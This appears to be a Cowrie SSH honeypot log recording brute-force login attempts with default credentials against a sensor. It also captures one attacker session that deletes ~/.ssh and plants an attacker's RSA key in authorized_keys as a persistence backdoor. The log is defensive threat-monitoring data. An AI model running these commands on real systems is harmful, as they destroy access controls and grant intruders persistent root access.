{"eventid":"cowrie.login.success","username":"root","password":"sbi123","message":"login attempt [root/sbi123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:12.251991Z","src_ip":"171.25.158.57","session":"aa8fcb6f7e47","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:12.494999Z","src_ip":"171.25.158.57","session":"aa8fcb6f7e47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:12.498238Z","src_ip":"171.25.158.57","session":"aa8fcb6f7e47","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:12.501583Z","src_ip":"171.25.158.57","session":"aa8fcb6f7e47","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:12.612291Z","src_ip":"171.25.158.57","session":"aa8fcb6f7e47","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:12.861905Z","src_ip":"171.25.158.57","session":"aa8fcb6f7e47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:12.865681Z","src_ip":"171.25.158.57","session":"aa8fcb6f7e47","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:12.976588Z","src_ip":"171.25.158.57","session":"aa8fcb6f7e47","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:12.979958Z","src_ip":"171.25.158.57","session":"aa8fcb6f7e47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.57","src_port":34866,"dst_ip":"10.17.0.5","dst_port":22,"session":"355809954c2b","protocol":"ssh","message":"New connection: 171.25.158.57:34866 (10.17.0.5:22) [session: 355809954c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:13.084208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:13.087767Z","src_ip":"171.25.158.57","session":"355809954c2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:13.199843Z","src_ip":"171.25.158.57","session":"355809954c2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:13.681000Z","src_ip":"171.25.158.57","session":"355809954c2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:14.796823Z","src_ip":"171.25.158.57","session":"355809954c2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.57","src_port":34878,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ffa35a3137e","protocol":"ssh","message":"New connection: 171.25.158.57:34878 (10.17.0.5:22) [session: 6ffa35a3137e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:14.914602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:14.920071Z","src_ip":"171.25.158.57","session":"6ffa35a3137e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:15.040659Z","src_ip":"171.25.158.57","session":"6ffa35a3137e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:15.545373Z","src_ip":"171.25.158.57","session":"6ffa35a3137e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:15.664376Z","src_ip":"171.25.158.57","session":"aa8fcb6f7e47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:29:15.669090Z","src_ip":"171.25.158.57","session":"6ffa35a3137e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":33976,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ca8dd6401f5","protocol":"ssh","message":"New connection: 92.118.39.95:33976 (10.17.0.5:22) [session: 1ca8dd6401f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:30:03.671450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:30:03.702133Z","src_ip":"92.118.39.95","session":"1ca8dd6401f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:30:03.798559Z","src_ip":"92.118.39.95","session":"1ca8dd6401f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:30:04.362064Z","src_ip":"92.118.39.95","session":"1ca8dd6401f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:30:05.462017Z","src_ip":"92.118.39.95","session":"1ca8dd6401f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":36800,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f1efdd16356","protocol":"ssh","message":"New connection: 92.118.39.72:36800 (10.17.0.5:22) [session: 9f1efdd16356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:31:05.416938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:31:05.421523Z","src_ip":"92.118.39.72","session":"9f1efdd16356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:31:05.526211Z","src_ip":"92.118.39.72","session":"9f1efdd16356","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:31:05.834142Z","src_ip":"92.118.39.72","session":"9f1efdd16356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:31:06.938417Z","src_ip":"92.118.39.72","session":"9f1efdd16356","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":47254,"dst_ip":"159.203.135.109","dst_port":22,"session":"434ce99d93bb","protocol":"ssh","message":"New connection: 193.32.162.151:47254 (159.203.135.109:22) [session: 434ce99d93bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:31:17.795010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:31:17.800408Z","src_ip":"193.32.162.151","session":"434ce99d93bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:31:17.907315Z","src_ip":"193.32.162.151","session":"434ce99d93bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oneadmin","password":"oneadmin","message":"login attempt [oneadmin/oneadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:31:18.228923Z","src_ip":"193.32.162.151","session":"434ce99d93bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:31:19.337689Z","src_ip":"193.32.162.151","session":"434ce99d93bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":39780,"dst_ip":"10.17.0.5","dst_port":22,"session":"76964e52daf5","protocol":"ssh","message":"New connection: 80.94.92.186:39780 (10.17.0.5:22) [session: 76964e52daf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:31:58.226355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:31:58.300567Z","src_ip":"80.94.92.186","session":"76964e52daf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:31:58.464308Z","src_ip":"80.94.92.186","session":"76964e52daf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana@123","message":"login attempt [solana/solana@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:31:59.005223Z","src_ip":"80.94.92.186","session":"76964e52daf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:32:00.357869Z","src_ip":"80.94.92.186","session":"76964e52daf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":46170,"dst_ip":"10.17.0.5","dst_port":22,"session":"db146fdeae5b","protocol":"ssh","message":"New connection: 92.118.39.95:46170 (10.17.0.5:22) [session: db146fdeae5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:32:08.570667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:32:08.576188Z","src_ip":"92.118.39.95","session":"db146fdeae5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:32:08.676674Z","src_ip":"92.118.39.95","session":"db146fdeae5b","protocol":"ssh"}
